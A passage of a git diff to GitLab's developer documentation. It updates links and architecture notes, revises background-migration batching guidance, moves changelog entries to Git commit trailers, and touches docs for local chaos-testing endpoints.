| ❌ | ❌ | CE & EE | | [GitLab Geo Node](#gitlab-geo) | Geographically distributed GitLab nodes | ⚙ | ⚙ | ❌ | ❌ | ✅ | ❌ | ⚙ | EE Only | | [GitLab Kubernetes Agent](#gitlab-kubernetes-agent) | Integrate Kubernetes clusters in a cloud-native way | ⚙ | ⚙ | ⚙ | ❌ | ❌ | ⤓ | ⚙ | EE Only | -| [GitLab Managed Apps](#gitlab-managed-apps) | Deploy Helm, Ingress, Cert-Manager, Prometheus, GitLab Runner, JupyterHub, or Knative to a cluster | ⤓ | ⤓ | ⤓ | ⤓ | ⤓ | ⤓ | ⤓ | CE & EE | | [GitLab Pages](#gitlab-pages) | Hosts static websites | ⚙ | ⚙ | ❌ | ❌ | ✅ | ⚙ | ⚙ | CE & EE | | [GitLab Kubernetes Agent](#gitlab-kubernetes-agent) | Integrate Kubernetes clusters in a cloud-native way | ⚙ | ⚙ | ⚙ | ❌ | ❌ | ⤓ | ⚙ | EE Only | | [GitLab self-monitoring: Alertmanager](#alertmanager) | Deduplicates, groups, and routes alerts from Prometheus | ⚙ | ⚙ | ✅ | ⚙ | ✅ | ❌ | ❌ | CE & EE | @@ -435,7 +434,7 @@ GitLab CI/CD is the open-source continuous integration service included with Git - [Omnibus](https://gitlab.com/gitlab-org/omnibus-gitlab/blob/master/files/gitlab-config-template/gitlab.rb.template) - [Charts](https://docs.gitlab.com/charts/charts/gitlab/gitlab-shell/) - [Source](../install/installation.md#install-gitlab-shell) - - [GDK](https://gitlab.com/gitlab-org/gitlab/blob/master/config/gitlab.yml.example) + - [GDK](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/gitlab.yml.example) - Layer: Core Service (Processor) - GitLab.com: [Service Architecture](https://about.gitlab.com/handbook/engineering/infrastructure/production/architecture/#service-architecture) @@ -668,8 +667,8 @@ An external registry can also be configured to use GitLab as an auth endpoint. - Configuration: - [Omnibus](https://docs.gitlab.com/omnibus/settings/configuration.html#error-reporting-and-logging-with-sentry) - [Charts](https://docs.gitlab.com/charts/charts/globals#sentry-settings) - - [Source](https://gitlab.com/gitlab-org/gitlab/blob/master/config/gitlab.yml.example) - - [GDK](https://gitlab.com/gitlab-org/gitlab/blob/master/config/gitlab.yml.example) + - [Source](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/gitlab.yml.example) + - [GDK](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/gitlab.yml.example) - Layer: Monitoring - GitLab.com: [Searching Sentry](https://about.gitlab.com/handbook/support/workflows/500_errors.html#searching-sentry) @@ -685,8 +684,8 @@ For monitoring deployed apps, see the [Sentry integration docs](../operations/er - [Omnibus](https://gitlab.com/gitlab-org/omnibus-gitlab/blob/master/files/gitlab-config-template/gitlab.rb.template) - [Charts](https://docs.gitlab.com/charts/charts/gitlab/sidekiq/) - [Minikube Minimal](https://docs.gitlab.com/charts/charts/gitlab/sidekiq/index.html) - - [Source](https://gitlab.com/gitlab-org/gitlab/blob/master/config/gitlab.yml.example) - - [GDK](https://gitlab.com/gitlab-org/gitlab/blob/master/config/gitlab.yml.example) + - [Source](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/gitlab.yml.example) + - [GDK](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/gitlab.yml.example) - Layer: Core Service (Processor) - Process: `sidekiq` - GitLab.com: [Sidekiq](../user/gitlab_com/index.md#sidekiq) @@ -695,44 +694,26 @@ Sidekiq is a Ruby background job processor that pulls jobs from the Redis queue #### Puma -Starting with GitLab 13.0, Puma is the default web server and Unicorn has been -disabled by default. +Starting with GitLab 13.0, Puma is the default web server. -- [Project page](https://gitlab.com/gitlab-org/gitlab/blob/master/README.md) +- [Project page](https://gitlab.com/gitlab-org/gitlab/-/blob/master/README.md) - Configuration: - [Omnibus](https://docs.gitlab.com/omnibus/settings/puma.html) - [Charts](https://docs.gitlab.com/charts/charts/gitlab/webservice/) - [Source](../install/installation.md#configure-it) - - [GDK](https://gitlab.com/gitlab-org/gitlab/blob/master/config/gitlab.yml.example) + - [GDK](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/gitlab.yml.example) - Layer: Core Service (Processor) - Process: `puma` - GitLab.com: [Puma](../user/gitlab_com/index.md#puma) [Puma](https://puma.io/) is a Ruby application server that is used to run the core Rails Application that provides the user facing features in GitLab. Often this displays in process output as `bundle` or `config.ru` depending on the GitLab version. -#### Unicorn - -Starting with GitLab 13.0, Puma is the default web server and Unicorn has been -disabled by default. - -- [Project page](https://gitlab.com/gitlab-org/gitlab/blob/master/README.md) -- Configuration: - - [Omnibus](https://docs.gitlab.com/omnibus/settings/unicorn.html) - - [Charts](https://docs.gitlab.com/charts/charts/gitlab/webservice/) - - [Source](../install/installation.md#configure-it) - - [GDK](https://gitlab.com/gitlab-org/gitlab/blob/master/config/gitlab.yml.example) -- Layer: Core Service (Processor) -- Process: `unicorn` -- GitLab.com: [Unicorn](../user/gitlab_com/index.md#unicorn) - -[Unicorn](https://yhbt.net/unicorn/) is a Ruby application server that is used to run the core Rails Application that provides the user facing features in GitLab. Often this displays in process output as `bundle` or `config.ru` depending on the GitLab version. - #### LDAP Authentication - Configuration: - [Omnibus](../administration/auth/ldap/index.md) - [Charts](https://docs.gitlab.com/charts/charts/globals.html#ldap) - - [Source](https://gitlab.com/gitlab-org/gitlab/blob/master/config/gitlab.yml.example) + - [Source](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/gitlab.yml.example) - [GDK](https://gitlab.com/gitlab-org/gitlab-development-kit/blob/main/doc/howto/ldap.md) - Layer: Core Service (Processor) - GitLab.com: [Product Tiers](https://about.gitlab.com/pricing/#gitlab-com) @@ -742,8 +723,8 @@ disabled by default. - Configuration: - [Omnibus](https://docs.gitlab.com/omnibus/settings/smtp.html) - [Charts](https://docs.gitlab.com/charts/installation/command-line-options.html#outgoing-email-configuration) - - [Source](https://gitlab.com/gitlab-org/gitlab/blob/master/config/gitlab.yml.example) - - [GDK](https://gitlab.com/gitlab-org/gitlab/blob/master/config/gitlab.yml.example) + - [Source](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/gitlab.yml.example) + - [GDK](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/gitlab.yml.example) - Layer: Core Service (Processor) - GitLab.com: [Mail configuration](../user/gitlab_com/index.md#mail-configuration) @@ -752,33 +733,11 @@ disabled by default. - Configuration: - [Omnibus](../administration/incoming_email.md) - [Charts](https://docs.gitlab.com/charts/installation/command-line-options.html#incoming-email-configuration) - - [Source](https://gitlab.com/gitlab-org/gitlab/blob/master/config/gitlab.yml.example) - - [GDK](https://gitlab.com/gitlab-org/gitlab/blob/master/config/gitlab.yml.example) + - [Source](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/gitlab.yml.example) + - [GDK](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/gitlab.yml.example) - Layer: Core Service (Processor) - GitLab.com: [Mail configuration](../user/gitlab_com/index.md#mail-configuration) -#### GitLab Managed Apps - -- Configuration: - - [Omnibus](../user/project/clusters/index.md#installing-applications) - - [Charts](../user/project/clusters/index.md#installing-applications) - - [Source](../user/project/clusters/index.md#installing-applications) - - [GDK](../user/project/clusters/index.md#installing-applications) -- Layer: Core Service (Processor) - -GitLab provides [GitLab Managed Apps](../user/project/clusters/index.md#installing-applications), -a one-click install for various applications which can be added directly to your configured cluster. -These applications are needed for Review Apps and deployments when using Auto DevOps. -You can install them after you create a cluster. This includes: - -- [Helm](https://helm.sh/docs/) -- [Ingress](https://kubernetes.io/docs/concepts/services-networking/ingress/) -- [Cert-Manager](https://cert-manager.io/docs/) -- [Prometheus](https://prometheus.io/docs/introduction/overview/) -- [GitLab Runner](https://docs.gitlab.com/runner/) -- [JupyterHub](https://jupyter.org) -- [Knative](https://cloud.google.com/knative/) - ## GitLab by request type GitLab provides two "interfaces" for end users to access the service: @@ -896,7 +855,7 @@ instead of `git upload-pack`. If fast SSH key lookups are not enabled, the SSH server reads from the `~git/.ssh/authorized_keys` file to determine what command to run for a given -SSH session. This is kept up to date by an [`AuthorizedKeysWorker`](https://gitlab.com/gitlab-org/gitlab/blob/master/app/workers/authorized_keys_worker.rb) +SSH session. This is kept up to date by an [`AuthorizedKeysWorker`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/workers/authorized_keys_worker.rb) in Rails, scheduled to run whenever an SSH key is modified by a user. [SSH certificates](../administration/operations/ssh_certificates.md) may be used @@ -1035,7 +994,7 @@ GitLab Shell has a configuration file at `/home/git/gitlab-shell/config.yml`. ### Maintenance tasks -[GitLab](https://gitlab.com/gitlab-org/gitlab/tree/master) provides Rake tasks with which you see version information and run a quick check on your configuration to ensure it is configured properly within the application. See [maintenance Rake tasks](../administration/raketasks/maintenance.md). +[GitLab](https://gitlab.com/gitlab-org/gitlab/-/tree/master) provides Rake tasks with which you see version information and run a quick check on your configuration to ensure it is configured properly within the application. See [maintenance Rake tasks](../administration/raketasks/maintenance.md). In a nutshell, do the following: ```shell diff --git a/doc/development/auto_devops.md b/doc/development/auto_devops.md index c127858d3e7..054a3439ef1 100644 --- a/doc/development/auto_devops.md +++ b/doc/development/auto_devops.md @@ -21,7 +21,7 @@ project, the user does not need to explicitly include any pipeline configuration through a [`.gitlab-ci.yml` file](../ci/yaml/README.md). In the absence of a `.gitlab-ci.yml` file, the [Auto DevOps CI -template](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Auto-DevOps.gitlab-ci.yml) +template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Auto-DevOps.gitlab-ci.yml) is used implicitly to configure the pipeline for the project. This template is a top-level template that includes other sub-templates, which then defines jobs. @@ -29,12 +29,12 @@ which then defines jobs. Some jobs use images that are built from external projects: - [Auto Build](../topics/autodevops/stages.md#auto-build) uses - [configuration](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Jobs/Build.gitlab-ci.yml) + [configuration](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Jobs/Build.gitlab-ci.yml) in which the `build` job uses an image that is built using the [`auto-build-image`](https://gitlab.com/gitlab-org/cluster-integration/auto-build-image) project. - [Auto Deploy](../topics/autodevops/stages.md#auto-deploy) uses - [configuration](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Jobs/Deploy.gitlab-ci.yml) + [configuration](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Jobs/Deploy.gitlab-ci.yml) in which the jobs defined in this template use an image that is built using the [`auto-deploy-image`](https://gitlab.com/gitlab-org/cluster-integration/auto-deploy-image) project. By default, the Helm chart defined in @@ -43,7 +43,7 @@ Some jobs use images that are built from external projects: There are extra variables that get passed to the CI jobs when Auto DevOps is enabled that are not present in a normal CI job. These can be found in -[`ProjectAutoDevops`](https://gitlab.com/gitlab-org/gitlab/blob/bf69484afa94e091c3e1383945f60dbe4e8681af/app/models/project_auto_devops.rb). +[`ProjectAutoDevops`](https://gitlab.com/gitlab-org/gitlab/-/blob/bf69484afa94e091c3e1383945f60dbe4e8681af/app/models/project_auto_devops.rb). ## Development environment diff --git a/doc/development/background_migrations.md b/doc/development/background_migrations.md index a96606719d0..0b81d40f585 100644 --- a/doc/development/background_migrations.md +++ b/doc/development/background_migrations.md @@ -7,28 +7,25 @@ info: "See the Technical Writers assigned to Development Guidelines: https://abo # Background migrations -Background migrations can be used to perform data migrations that would -otherwise take a very long time (hours, days, years, etc) to complete. For -example, you can use background migrations to migrate data so that instead of -storing data in a single JSON column the data is stored in a separate table. +Background migrations should be used to perform data migrations whenever a +migration exceeds [the time limits in our guidelines](database_review.md#timing-guidelines-for-migrations). For example, you can use background +migrations to migrate data that's stored in a single JSON column +to a separate table instead. If the database cluster is considered to be in an unhealthy state, background migrations automatically reschedule themselves for a later point in time. ## When To Use Background Migrations -In the vast majority of cases you will want to use a regular Rails migration -instead. Background migrations should be used when migrating _data_ in -tables that have so many rows this process would take hours when performed in a -regular Rails migration. +You should use a background migration when you migrate _data_ in tables that have +so many rows that the process would exceed [the time limits in our guidelines](database_review.md#timing-guidelines-for-migrations) if performed using a regular Rails migration. -Background migrations _may_ also be used when executing numerous single-row queries +- Background migrations should be used when migrating data in [high-traffic tables](migration_style_guide.md#high-traffic-tables). +- Background migrations may also be used when executing numerous single-row queries for every item on a large dataset. Typically, for single-record patterns, runtime is largely dependent on the size of the dataset, hence it should be split accordingly and put into background migrations. - -Background migrations _may not_ be used to perform schema migrations, they -should only be used for data migrations. +- Background migrations should not be used to perform schema migrations. Some examples where background migrations can be useful: @@ -255,12 +252,8 @@ batches instead of doing this one by one: class ScheduleExtractServicesUrl < ActiveRecord::Migration[4.2] disable_ddl_transaction! - class Service < ActiveRecord::Base - self.table_name = 'services' - end - def up - Service.select(:id).in_batches do |relation| + define_batchable_model('services').select(:id).in_batches do |relation| jobs = relation.pluck(:id).map do |id| ['ExtractServicesUrl', [id]] end @@ -286,18 +279,12 @@ this: class ConsumeRemainingExtractServicesUrlJobs < ActiveRecord::Migration[4.2] disable_ddl_transaction! - class Service < ActiveRecord::Base - include ::EachBatch - - self.table_name = 'services' - end - def up # This must be included Gitlab::BackgroundMigration.steal('ExtractServicesUrl') # This should be included, but can be skipped - see below - Service.where(url: nil).each_batch(of: 50) do |batch| + define_batchable_model('services').where(url: nil).each_batch(of: 50) do |batch| range = batch.pluck('MIN(id)', 'MAX(id)').first Gitlab::BackgroundMigration::ExtractServicesUrl.new.perform(*range) @@ -358,25 +345,87 @@ for more details. more pressure on DB than you expect (measure on staging, or ask someone to measure on production). 1. Make sure to know how much time it'll take to run all scheduled migrations. -1. Provide an estimation section in the description, explaining timings from the - linked query plans and batches as described in the migration. +1. Provide an estimation section in the description, estimating both the total migration + run time and the query times for each background migration job. Explain plans for each query + should also be provided. For example, assuming a migration that deletes data, include information similar to the following section: - ```ruby + ```plaintext Background Migration Details: 47600 items to delete batch size = 1000 - 47600 / 1000 = 48 loops + 47600 / 1000 = 48 batches Estimated times per batch: - - 900ms for select statement with 1000 items - - 2100ms for delete statement with 1000 items - Total: ~3sec per batch + - 820ms for select statement with 1000 items (see linked explain plan) + - 900ms for delete statement with 1000 items (see linked explain plan) + Total: ~2 sec per batch - 2 mins delay per loop (safe for the given total time per batch) + 2 mins delay per batch (safe for the given total time per batch) - 48 * ( 120 + 3) = ~98.4 mins to run all the scheduled jobs + 48 batches * 2 min per batch = 96 mins to run all the scheduled jobs ``` + + The execution time per batch (2 sec in this example) is not included in the calculation + for total migration time. The jobs are scheduled 2 minutes apart without knowledge of + the execution time. + +## Additional tips and strategies + +### Nested batching + +A strategy to make the migration run faster is to schedule larger batches, and then use `EachBatch` +within the background migration to perform multiple statements. + +The background migration helpers that queue multiple jobs such as +`queue_background_migration_jobs_by_range_at_intervals` use [`EachBatch`](iterating_tables_in_batches.md). +The example above has batches of 1000, where each queued job takes two seconds. If the query has been optimized +to make the time for the delete statement within the [query performance guidelines](query_performance.md), +1000 may be the largest number of records that can be deleted in a reasonable amount of time. + +The minimum and most common interval for delaying jobs is two minutes. This results in two seconds +of work for each two minute job. There's nothing that prevents you from executing multiple delete +statements in each background migration job. + +Looking at the example above, you could alternatively do: + +```plaintext +Background Migration Details: + +47600 items to delete +batch size = 10_000 +47600 / 10_000 = 5 batches + +Estimated times per batch: +- Records are updated in sub-batches of 1000 => 10_000 / 1000 = 10 total updates +- 820ms for select statement with 1000 items (see linked explain plan) +- 900ms for delete statement with 1000 items (see linked explain plan) +Sub-batch total: ~2 sec per sub-batch, +Total batch time: 2 * 10 = 20 sec per batch + +2 mins delay per batch + +5 batches * 2 min per batch = 10 mins to run all the scheduled jobs +``` + +The batch time of 20 seconds still fits comfortably within the two minute delay, yet the total run +time is cut by a tenth from around 100 minutes to 10 minutes! When dealing with large background +migrations, this can cut the total migration time by days. + +When batching in this way, it is important to look at query times on the higher end +of the table or relation being updated. `EachBatch` may generate some queries that become much +slower when dealing with higher ID ranges. + +### Delay time + +When looking at the batch execution time versus the delay time, the execution time +should fit comfortably within the delay time for a few reasons: + +- To allow for a variance in query times. +- To allow autovacuum to catch up after periods of high churn. + +Never try to optimize by fully filling the delay window even if you are confident +the queries themselves have no timing variance. diff --git a/doc/development/changelog.md b/doc/development/changelog.md index 6412c303735..f0c37af42ab 100644 --- a/doc/development/changelog.md +++ b/doc/development/changelog.md @@ -11,56 +11,93 @@ file, as well as information and history about our changelog process. ## Overview -Each bullet point, or **entry**, in our [`CHANGELOG.md`](https://gitlab.com/gitlab-org/gitlab/blob/master/CHANGELOG.md) file is -generated from a single data file in the [`changelogs/unreleased/`](https://gitlab.com/gitlab-org/gitlab/tree/master/changelogs/unreleased/). -The file is expected to be a [YAML](https://en.wikipedia.org/wiki/YAML) file in the -following format: +Each bullet point, or **entry**, in our +[`CHANGELOG.md`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/CHANGELOG.md) +file is generated from the subject line of a Git commit. Commits are included +when they contain the `Changelog` [Git trailer](https://git-scm.com/docs/git-interpret-trailers). +When generating the changelog, author and merge request details are added +automatically. -```yaml ---- -title: "Change[log]s" -merge_request: 1972 -author: Black Sabbath @bsabbath -type: added +The `Changelog` trailer accepts the following values: + +- `added`: New feature +- `fixed`: Bug fix +- `changed`: Feature change +- `deprecated`: New deprecation +- `removed`: Feature removal +- `security`: Security fix +- `performance`: Performance improvement +- `other`: Other + +An example of a Git commit to include in the changelog is the following: + +```plaintext +Update git vendor to gitlab + +Now that we are using gitaly to compile git, the git version isn't known +from the manifest, instead we are getting the gitaly version. Update our +vendor field to be `gitlab` to avoid cve matching old versions. + +Changelog: changed ``` -The `merge_request` value is a reference to a merge request that adds this -entry, and the `author` key (format: `<full name> <GitLab username>`) is used to give attribution to community -contributors. **Both are optional**. -The `type` field maps the category of the change, -valid options are: added, fixed, changed, deprecated, removed, security, performance, other. **Type field is mandatory**. +### Overriding the associated merge request + +GitLab automatically links the merge request to the commit when generating the +changelog. If you want to override the merge request to link to, you can specify +an alternative merge request using the `MR` trailer: + +```plaintext +Update git vendor to gitlab -Community contributors and core team members are encouraged to add their name to -the `author` field. GitLab team members **should not**. +Now that we are using gitaly to compile git, the git version isn't known +from the manifest, instead we are getting the gitaly version. Update our +vendor field to be `gitlab` to avoid cve matching old versions. + +Changelog: changed +MR: https://gitlab.com/foo/bar/-/merge_requests/123 +``` + +The value must be the full URL of the merge request. + +### GitLab Enterprise changes + +If a change is for GitLab Enterprise Edition, you must also add the trailer `EE: +true`: + +```plaintext +Update git vendor to gitlab + +Now that we are using gitaly to compile git, the git version isn't known +from the manifest, instead we are getting the gitaly version. Update our +vendor field to be `gitlab` to avoid cve matching old versions. + +Changelog: changed +MR: https://gitlab.com/foo/bar/-/merge_requests/123 +EE: true +``` ## What warrants a changelog entry? - Any change that introduces a database migration, whether it's regular, post, or data migration, **must** have a changelog entry, even if it is behind a - disabled feature flag. Since the migration is executed on [GitLab FOSS](https://gitlab.com/gitlab-org/gitlab-foss/), - the changelog for database schema changes should be written to the - `changelogs/unreleased/` directory, even when other elements of that change affect only GitLab EE. - + disabled feature flag. - [Security fixes](https://gitlab.com/gitlab-org/release/docs/blob/master/general/security/developer.md) - **must** have a changelog entry, without `merge_request` value - and with `type` set to `security`. -- Any user-facing change **must** have a changelog entry. This includes both visual changes (regardless of how minor), and changes to the rendered DOM which impact how a screen reader may announce the content. -- Any client-facing change to our REST and GraphQL APIs **must** have a changelog entry. See the [complete list what comprises a GraphQL breaking change](api_graphql_styleguide.md#breaking-changes). -- Any change that introduces an [Advanced Search migration](elasticsearch.md#creating-a-new-advanced-search-migration) **must** have a changelog entry. -- Performance improvements **should** have a changelog entry. -- _Any_ contribution from a community member, no matter how small, **may** have - a changelog entry regardless of these guidelines if the contributor wants one. - Example: "Fixed a typo on the search results page." -- Any docs-only changes **should not** have a changelog entry. -- For changes related to feature flags, use [feature flag guide](feature_flags/index.md#changelog) to determine the changelog entry. -- Any change that adds new Usage Data metrics, sets the status of existing ones to `removed`, and changes that need to be documented in Product Intelligence [Metrics Dictionary](usage_ping/dictionary.md) **should** have a changelog entry. -- A change that adds snowplow events **should** have a changelog entry - -- A fix for a regression introduced and then fixed in the same release (i.e., + **must** have a changelog entry, with `Changelog` trailer set to `security`. +- Any user-facing change **must** have a changelog entry. Example: "GitLab now + uses system fonts for all text." +- Any client-facing change to our REST and GraphQL APIs **must** have a changelog entry. + See the [complete list what comprises a GraphQL breaking change](api_graphql_styleguide.md#breaking-changes). +- Any change that introduces an [Advanced Search migration](elasticsearch.md#creating-a-new-advanced-search-migration) + **must** have a changelog entry. +- A fix for a regression introduced and then fixed in the same release (such as fixing a bug introduced during a monthly release candidate) **should not** have a changelog entry. -- Any developer-facing change (e.g., refactoring, technical debt remediation, - test suite changes) **should not** have a changelog entry. Example: "Reduce +- Any developer-facing change (such as refactoring, technical debt remediation, + or test suite changes) **should not** have a changelog entry. Example: "Reduce database records created during Cycle Analytics model spec." +- _Any_ contribution from a community member, no matter how small, **may** have + a changelog entry regardless of these guidelines if the contributor wants one. ## Writing good changelog entries @@ -105,215 +142,49 @@ about _where_ and _why_ the change was made? ## How to generate a changelog entry -A `bin/changelog` script is available to generate the changelog entry file -automatically. +Git trailers are added when committing your changes. This can be done using your +text editor of choice. Adding the trailer to an existing commit requires either +amending to the commit (if it's the most recent one), or an interactive rebase +using `git rebase -i`. -Its simplest usage is to provide the value for `title`: +To update the last commit, run the following: -```plaintext -bin/changelog 'Hey DZ, I added a feature to GitLab!' +```shell +git commit --amend ``` -If you want to generate a changelog entry for GitLab EE, you must pass -the `--ee` option: +You can then add the `Changelog` trailer to the commit message. If you had +already pushed prior commits to your remote branch, you have to force push +the new commit: -```plaintext -bin/changelog --ee 'Hey DZ, I added a feature to GitLab!' +```shell +git push -f origin your-branch-name ``` -All entries in the `CHANGELOG.md` file apply to all editions of GitLab. -Changelog updates are based on a common [GitLab codebase](https://gitlab.com/gitlab-org/gitlab/), -and are mirrored without proprietary code to [GitLab FOSS](https://gitlab.com/gitlab-org/gitlab-foss/) (also known as GitLab Community Edition). +To edit older (or multiple commits), use `git rebase -i HEAD~N` where `N` is the +last N number of commits to rebase. Let's say you have 3 commits on your branch: +A, B, and C. If you want to update commit B, you need to run: -At this point the script would ask you to select the category of the change (mapped to the `type` field in the entry): - -```plaintext ->> Please specify the category of your change: -1. New feature -2. Bug fix -3. Feature change -4. New deprecation -5. Feature removal -6. Security fix -7. Performance improvement -8. Other +```shell +git rebase -i HEAD~2 ``` -The entry filename is based on the name of the current Git branch. If you run -the command above on a branch called `feature/hey-dz`, it generates a -`changelogs/unreleased/feature-hey-dz.yml` file. - -The command outputs the path of the generated file and its contents: +This starts an interactive rebase session for the last two commits. When +started, Git presents you with a text editor with contents along the lines of +the following: ```plaintext -create changelogs/unreleased/my-feature.yml ---- -title: Hey DZ, I added a feature to GitLab! -merge_request: -author: -type: +pick B Subject of commit B +pick C Subject of commit C ``` -### Arguments - -| Argument | Shorthand | Purpose | -| ----------------- | --------- | --------------------------------------------------------------------------------------------------------------------------------------- | -| [`--amend`](#--amend) | | Amend the previous commit | -| [`--force`](#--force-or--f) | `-f` | Overwrite an existing entry | -| [`--merge-request`](#--merge-request-or--m) | `-m` | Set merge request ID | -| [`--dry-run`](#--dry-run-or--n) | `-n` | Don't actually write anything, just print | -| [`--git-username`](#--git-username-or--u) | `-u` | Use Git user.name configuration as the author | -| [`--type`](#--type-or--t) | `-t` | The category of the change, valid options are: `added`, `fixed`, `changed`, `deprecated`, `removed`, `security`, `performance`, `other` | -| [`--ee`](#how-to-generate-a-changelog-entry) | | Create an EE changelog -| `--help` | `-h` | Print help message | - -#### `--amend` - -You can pass the **`--amend`** argument to automatically stage the generated -file and amend it to the previous commit. - -If you use **`--amend`** and don't provide a title, it uses -the "subject" of the previous commit, which is the first line of the commit -message: - -```plaintext -$ git show --oneline -ab88683 Added an awesome new feature to GitLab - -$ bin/changelog --amend -create changelogs/unreleased/feature-hey-dz.yml ---- -title: Added an awesome new feature to GitLab -merge_request: -author: -type: -``` - -#### `--force` or `-f` - -Use **`--force`** or **`-f`** to overwrite an existing changelog entry if it -already exists. - -```plaintext -$ bin/changelog 'Hey DZ, I added a feature to GitLab!' -error changelogs/unreleased/feature-hey-dz.yml already exists! Use `--force` to overwrite. - -$ bin/changelog 'Hey DZ, I added a feature to GitLab!' --force -create changelogs/unreleased/feature-hey-dz.yml ---- -title: Hey DZ, I added a feature to GitLab! -merge_request: 1983 -author: -type: -``` - -#### `--merge-request` or `-m` - -Use the **`--merge-request`** or **`-m`** argument to provide the -`merge_request` value: - -```plaintext -$ bin/changelog 'Hey DZ, I added a feature to GitLab!' -m 1983 -create changelogs/unreleased/feature-hey-dz.yml ---- -title: Hey DZ, I added a feature to GitLab! -merge_request: 1983 -author: -type: -``` - -#### `--dry-run` or `-n` - -Use the **`--dry-run`** or **`-n`** argument to prevent actually writing or -committing anything: - -```plaintext -$ bin/changelog --amend --dry-run -create changelogs/unreleased/feature-hey-dz.yml ---- -title: Added an awesome new feature to GitLab -merge_request: -author: -type: - -$ ls changelogs/unreleased/ -``` - -#### `--git-username` or `-u` - -Use the **`--git-username`** or **`-u`** argument to automatically fill in the -`author` value with your configured Git `user.name` value: - -```plaintext -$ git config user.name -Jane Doe - -$ bin/changelog -u 'Hey DZ, I added a feature to GitLab!' -create changelogs/unreleased/feature-hey-dz.yml ---- -title: Hey DZ, I added a feature to GitLab! -merge_request: -author: Jane Doe -type: -``` - -#### `--type` or `-t` - -Use the **`--type`** or **`-t`** argument to provide the `type` value: - -```plaintext -$ bin/changelog 'Hey DZ, I added a feature to GitLab!' -t added -create changelogs/unreleased/feature-hey-dz.yml ---- -title: Hey DZ, I added a feature to GitLab! -merge_request: -author: -type: added -``` - -#### `--ee` - -Use the **`--ee`** argument to create an EE changelog: - -```plaintext -$ bin/changelog 'Hey DZ, I added a feature to GitLab!' -ee -create ee/changelogs/unreleased/feature-hey-dz.yml ---- -title: Hey DZ, I added a feature to GitLab! -merge_request: -author: -type: added -``` +To update commit B, change the word `pick` to `reword`, then save and quit the +editor. Once closed, Git presents you with a new text editor instance to edit +the commit message of commit B. Add the trailer, then save and quit the editor. +If all went well, commit B is now updated. -### History and Reasoning - -Our `CHANGELOG` file was previously updated manually by each contributor that -felt their change warranted an entry. When two merge requests added their own -entries at the same spot in the list, it created a merge conflict in one as soon -as the other was merged. When we had dozens of merge requests fighting for the -same changelog entry location, this quickly became a major source of merge -conflicts and delays in development. - -This led us to a [boring solution](https://about.gitlab.com/handbook/values/#boring-solutions) of "add your entry in a random location in -the list." This actually worked pretty well as we got further along in each -monthly release cycle, but at the start of a new cycle, when a new version -section was added and there were fewer places to "randomly" add an entry, the -conflicts became a problem again until we had a sufficient number of entries. - -On top of all this, it created an entirely different headache for -[release managers](https://gitlab.com/gitlab-org/release/docs/blob/master/quickstart/release-manager.md) -when they cherry-picked a commit into a stable branch for a patch release. If -the commit included an entry in the `CHANGELOG`, it would include the entire -changelog for the latest version in `master`, so the release manager would have -to manually remove the later entries. They often would have had to do this -multiple times per patch release. This was compounded when we had to release -multiple patches at once due to a security issue. - -We needed to automate all of this manual work. So we -[started brainstorming](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/17826). -After much discussion we settled on the current solution of one file per entry, -and then compiling the entries into the overall `CHANGELOG.md` file during the -[release process](https://gitlab.com/gitlab-org/release-tools). +For more information about interactive rebases, take a look at [the Git +documentation](https://git-scm.com/book/en/v2/Git-Tools-Rewriting-History). --- diff --git a/doc/development/chaos_endpoints.md b/doc/development/chaos_endpoints.md index 56e91acbc4a..b0de00648ba 100644 --- a/doc/development/chaos_endpoints.md +++ b/doc/development/chaos_endpoints.md @@ -47,7 +47,7 @@ Replace `secret` with your own secret token. After you have enabled the chaos endpoints and restarted the application, you can start testing using the endpoints. By default, when invoking a chaos endpoint, the web worker process which receives the request handles it. This means, for example, that if the Kill -operation is invoked, the Puma or Unicorn worker process handling the request is killed. To test these operations in Sidekiq, the `async` parameter on +operation is invoked, the Puma worker process handling the request is killed. To test these operations in Sidekiq, the `async` parameter on each endpoint can be set to `true`. This runs the chaos process in a Sidekiq worker. ## Memory leaks @@ -70,7 +70,8 @@ GET /-/chaos/leakmem?memory_mb=1024&duration_s=50&async=true | `async` | boolean | no | Set to true to leak memory in a Sidekiq background worker process | ```shell -curl "http://localhost:3000/-/chaos/leakmem?memory_mb=1024&duration_s=10" --header 'X-Chaos-Secret: secret' +curl "http://localhost:3000/-/chaos/leakmem?memory_mb=1024&duration_s=10" \ + --header 'X-Chaos-Secret: secret' curl "http://localhost:3000/-/chaos/leakmem?memory_mb=1024&duration_s=10&token=secret" ``` @@ -79,7 +80,6 @@ curl "http://localhost:3000/-/chaos/leakmem?memory_mb=1024&duration_s=10&token=s This endpoint attempts to fully utilise a single core, at 100%, for the given period. Depending on your rack server setup, your request may timeout after a predetermined period (normally 60 seconds). -If you're using Unicorn, this is done by killing the worker process. ```plaintext GET /-/chaos/cpu_spin @@ -93,7 +93,8 @@ GET /-/chaos/cpu_spin?duration_s=50&async=true | `async` | boolean | no | Set to true to consume CPU in a Sidekiq background worker process | ```shell -curl "http://localhost:3000/-/chaos/cpu_spin?duration_s=60" --header 'X-Chaos-Secret: secret' +curl "http://localhost:3000/-/chaos/cpu_spin?duration_s=60" \ + --header 'X-Chaos-Secret: secret' curl "http://localhost:3000/-/chaos/cpu_spin?duration_s=60&token=secret" ``` @@ -103,7 +104,6 @@ This endpoint attempts to fully utilise a single core, and interleave it with DB This endpoint can be used to model yielding execution to another threads when running concurrently. Depending on your rack server setup, your request may timeout after a 